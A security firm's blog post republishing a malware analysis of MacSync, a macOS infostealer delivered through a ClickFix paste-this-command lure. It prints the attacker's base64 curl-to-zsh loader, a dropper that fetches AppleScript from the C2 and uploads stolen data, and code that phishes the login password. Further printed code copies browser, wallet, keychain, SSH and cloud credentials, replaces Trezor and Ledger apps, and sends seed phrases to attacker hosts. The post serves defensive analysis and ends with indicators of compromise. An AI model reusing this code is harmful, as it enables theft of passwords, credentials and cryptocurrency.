Forefront IT Security Services
BlogmacOS
macOS

From ClickFix to MacSync

December 2025Forefront IT Security Services3 min read

MacSync is a macOS infostealer that harvests passwords, browser and crypto wallet data, Keychain items, and sensitive files. Whilst investigating this sample, it was discovered that it manipulates legitimate applications such as Ledger and Trezor to capture additional user information.

Original Research by MZHeader. Full credit to MZHeader for this research. Original Post: https://mzheader.tech/2025/12/21/clickfix-to-macsync.html. GitHub: https://github.com/MZHeader/MZHeader.github.io/blob/main/_posts/2025-12-21-clickfix-to-macsync.md

ClickFix

ClickFix is a social-engineering technique that convinces users to paste and execute commands under false pretences. You can read more about it here.

Whilst looking for malware samples related to ClickFix, I came across a lure targeting users looking to download macOS applications, located at hxxps[://]macfilearchive[.]com/s3/.

If we decode the command, we can see that it references Apple's domain. However if we take the entire command and decode it, we are left with the following:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2JhbGxmcmFuay50b2RheS9jdXJsLzI3MDY1M2Y4NjJmMGVlMjFkY2UwYTQ2ZTQ4MDFlYzI4ZGI0ZGRjNzdiNmZiYTkzNDFiMWI4ZGIyOTkwOWM1MTQ='|base64 -D)|zsh

Decoding the Base64 string reveals:

hxxp[://]ballfrank[.]today/curl/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514

If we look at the URL, we can see the following Zsh script which is downloaded and executed on the victim's machine. This is the main entry point for the malware.

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="ballfrank[.]today"
    local token="270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    curl -k -X POST \
         -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
         -H "api-key: $api_key" \
         -H "cl: 0" \
         --max-time 300 \
         -F "file=@/tmp/osalogging.zip" \
         -F "buildtxd=$token" \
         "http://$domain/gate"
    if [ $? -ne 0 ]; then
        exit 1
    fi
    rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

It works like this:

  • Communicates with ballfrank[.]today and has a hardcoded API key of 5190ef1733183a0dc63fb623357f56d6
  • The osascript command can be used for malicious purposes as it can run AppleScript, enabling attackers to automate tasks, execute shell commands, and manipulate system settings.
  • At the end, it uploads a file named osalogging.zip to /gate before removing it.

Stealer - Password

The main stage of the malware is in an osascript format (AppleScript). Upon execution, the user is greeted with a dialog box asking for the user's password. The script loops until correct credentials are entered.

This checks the validity of the entered password by calling dscl . authonly and saves the password for later exfiltration.

on checkvalid(username, password_entered)
	try
		set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
		if result is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
				set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

Stealer - Browsers

Many Chromium-based applications are targeted by this malware such as Chrome, Brave, Edge, Opera, Opera GX, Yandex, Coccoc, Vivaldi and Arc. Cookies, saved passwords, Login Data and browser extensions are targeted.

Below is a list of targeted extension IDs:

on Chromium(writemind, chromium_map)

	set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
    set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
    set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
    set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
    set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
    set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

	set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
	repeat with chromium in chromium_map
		set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
		try
			set fileList to list folder item 2 of chromium without invisibles
			repeat with currentItem in fileList
				if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
					set profileName to (item 1 of chromium & currentItem)
					repeat with CFile in chromiumFiles
						set readpath to (item 2 of chromium & currentItem & CFile)
						if ((CFile as string) is equal to "/Network/Cookies") then
							set CFile to "/Cookies"
						end if
						if ((CFile as string) is equal to "/Local Extension Settings/") then
							grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
						else if (CFile as string) is equal to "/IndexedDB/" then
							grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
						else
							set writepath to savePath & currentItem & CFile
							readwrite(readpath, writepath)
						end if
					end repeat
				end if
			end repeat
		end try
	end repeat
end Chromium

Firefox data is also targeted:

  • cookies.sqlite
  • logins.json
  • formhistory.sqlite
  • key4.db

Stealer - Wallets

Local crypto wallets are also targeted:

  • Exodus
  • Electrum
  • Coinomi
  • Guarda
  • Wasabi Wallet
  • Atomic
  • Ledger Live
  • Bitcoin Core
  • Litecoin Core
  • Dogecoin Core
  • Monero
  • Jaxx

Stealer - File Grabber

The malware uses the find command to grab files from the victim's Desktop, Documents, and Downloads folders with specific extensions:

on FilegrabberFDA(writemind, profile)
	set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
	mkdir(destinationFolderPath)
	try

		set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
		set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

		repeat with src in sourceFolders
			repeat with ext in extensionsList
				try
					set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
					do shell script shellCmd
				end try
			end repeat
		end repeat

	end try
	try
		readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
		readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
		readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
	end try
	try
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

	end try

end Filegrabber

Stealer - Keychains & Cloud

Keychain data as well as SSH, AWS, and Kubernetes credentials are also targeted:

on Keychains(writemind)
		try
			do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
		end try
end Keychains

on CloudKeys(writemind)
		try
			do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
		end try
		try
			do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
		end try
		try
			do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
		end try
end CloudKeys

Stealer - Telegram

Telegram Desktop data is also copied.

Exfiltration

Once all data has been collected, it is organized into the following structure within a random temp directory /tmp/sync[RANDOM-NUMBER]/:

Browsers/        (browser profiles, cookies, credentials)
Wallets/         (desktop and web wallet data)
Extensions/      (password manager and crypto extension data)
FileGrabber/     (sensitive documents)
Profile/         (shell history, SSH keys, git config)
Telegram Desktop/
Notes/           (Apple Notes database)
Safari/          (cookies and history)

The data is compressed into /tmp/osalogging.zip using:

ditto -c -k --sequesterRsrc /tmp/sync[RANDOM]/ /tmp/osalogging.zip

A info file is also created with the following:

try
	writeText("MacSync Stealer\n\n", writemind & "info")
	writeText("Build Tag: s3\n", writemind & "info")
	writeText("Version: 1.1.2_release (x64_86 & ARM)\n", writemind & "info")
        writeText("IP: [REDACTED_IP]]\n\n", writemind & "info")
	writeText("Username: " & username, writemind & "info")
	writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
	set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
	writeText(result, writemind & "info")
end try

Trezor Replacement

If the user has Trezor Suite installed, it is replaced with a backdoored version downloaded from the attacker's infrastructure:

set TREZORURL to "hxxps[://]ballfrank[.]today/trezor/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set TREZORDMGPATH to "/tmp/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME

try
    do shell script "test -d " & quoted form of TREZORDEST
    set trezor_installed to true
on error
    set trezor_installed to false
end try

if trezor_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
        do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
        set app_exists to false
        try
            do shell script "test -e " & quoted form of TREZORPATH
            set app_exists to true
        end try

        if app_exists then
            try
                do shell script "killall -9 'Trezor Suite'"
            end try
            do shell script "rm -rf " & quoted form of TREZORDEST
            do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
        end if
    end try

    try
        do shell script "rm -rf " & quoted form of TREZORDMGPATH
        do shell script "rm -rf " & quoted form of TREZORPATH
    end try
end if

The malicious Trezor Suite application contains no legitimate wallet functionality. Instead, it has a WebView loader that points to ballfrank[.]today/trezor/start/[TOKEN].

This presents a fake interface that asks users to enter their recovery seed:

Once the seed is entered, it is sent to /modules/wallets via a POST request:

POST /modules/wallets HTTP/1.1
Host: ballfrank[.]today
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Content-Type: application/json
Origin: https://ballfrank.today
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
Referer: hxxps[://]ballfrank[.]today/trezor/12/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514
Content-Length: 177
Connection: keep-alive
Sec-Fetch-Dest: empty
Cookie: PHPSESSID=9vh6eufvm1g1e4ogo8bproigjh

{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"trezor"}

The user is then shown a fake error message:

Ledger Replacement

Similarly, if Ledger Wallet is installed:

set LEDGERURL to "hxxps[://]ballfrank[.]today/ledger/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set LEDGERNAME to "Ledger Wallet.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Wallet.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"

try
    do shell script "test -d " & quoted form of LEDGERDEST
    set ledger_installed to true
on error
    set ledger_installed to false
end try

if ledger_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
        do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
        set app_exists to false
		try
            do shell script "test -e " & quoted form of LEDGERPATH0
            set app_exists to true
		on error
			set app_exists to false
        end try
		try
            do shell script "test -e " & quoted form of LEDGERPATH1
            set app_exists to true
		on error
			set app_exists to false
        end try
		if app_exists then
			do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
			do shell script "rm -rf " & quoted form of LEDGERDEST
			do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
            do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0
            do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1
			do shell script "codesign -f -d -s - " & quoted form of LEDGERDEST
        end if
    end try

end if

Unlike Trezor, Ledger's malicious version works differently. It downloads app.asar and Info.plist files and replaces the legitimate ones. The app.asar file contains HTML and JavaScript for collecting seed words.

The user is presented with a fake error message:

The user is then asked to enter their 24-word recovery phrase:

The JavaScript code within the malicious app.asar file collects the seed words and sends them to main[.]ledger-gate[.]coupons:

continueBtn.addEventListener('click', function () {
  if (!this.classList.contains('active')) return;

  const words = Array.from(inputs).map(i => i.value.trim());
  const token = '270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514';
  const targetUrl = 'hxxps[://]main[.]ledger-gate[.]coupons/modules/wallets';

  fetch(targetUrl, {
    method: 'POST',
    cache: 'no-cache',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      seedwords: words,
      token: token,
      app: 'ledger',
      url: location.href
    })
  })
.then(response => {
  location.href = 'index.html';
})
.catch(err => {
  location.href = 'index.html';
});

The POST request:

POST /modules/wallets HTTP/1.1
Host: main.ledger-gate.coupons
Connection: keep-alive
Content-Length: 356
Cache-Control: max-age=0
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) LedgerWallet/2.133.0 Chrome/140.0.7339.133 Electron/38.2.0 Safari/537.36
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB

{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"ledger","url":"file:///Applications/Ledger%20Wallet.app/Contents/Resources/app.asar/.webpack/recovery-step-3.html"}

Indicators of Compromise

Domains:

  • ballfrank[.]today
  • macfilearchive[.]com
  • ledger-gate[.]coupons
  • main[.]ledger-gate[.]coupons

Malware Identification:

MacSync Stealer, Version 1.1.2_release (x64_86 & ARM), Build Tag: s3

Research Attribution. Full credit to MZHeader for this research. Visit the original post for additional technical details. Read Original Post: https://mzheader.tech/2025/12/21/clickfix-to-macsync.html. GitHub: https://github.com/MZHeader/MZHeader.github.io/blob/main/_posts/2025-12-21-clickfix-to-macsync.md

Security Front Door

Find the right level of security for your business.

One monthly plan, one front door: penetration testing, Cyber Essentials, AI security, training and advice, from £1,500 a month. No hidden costs.

Forefront
UK Penetration Testing & Red Team Operations
Loading...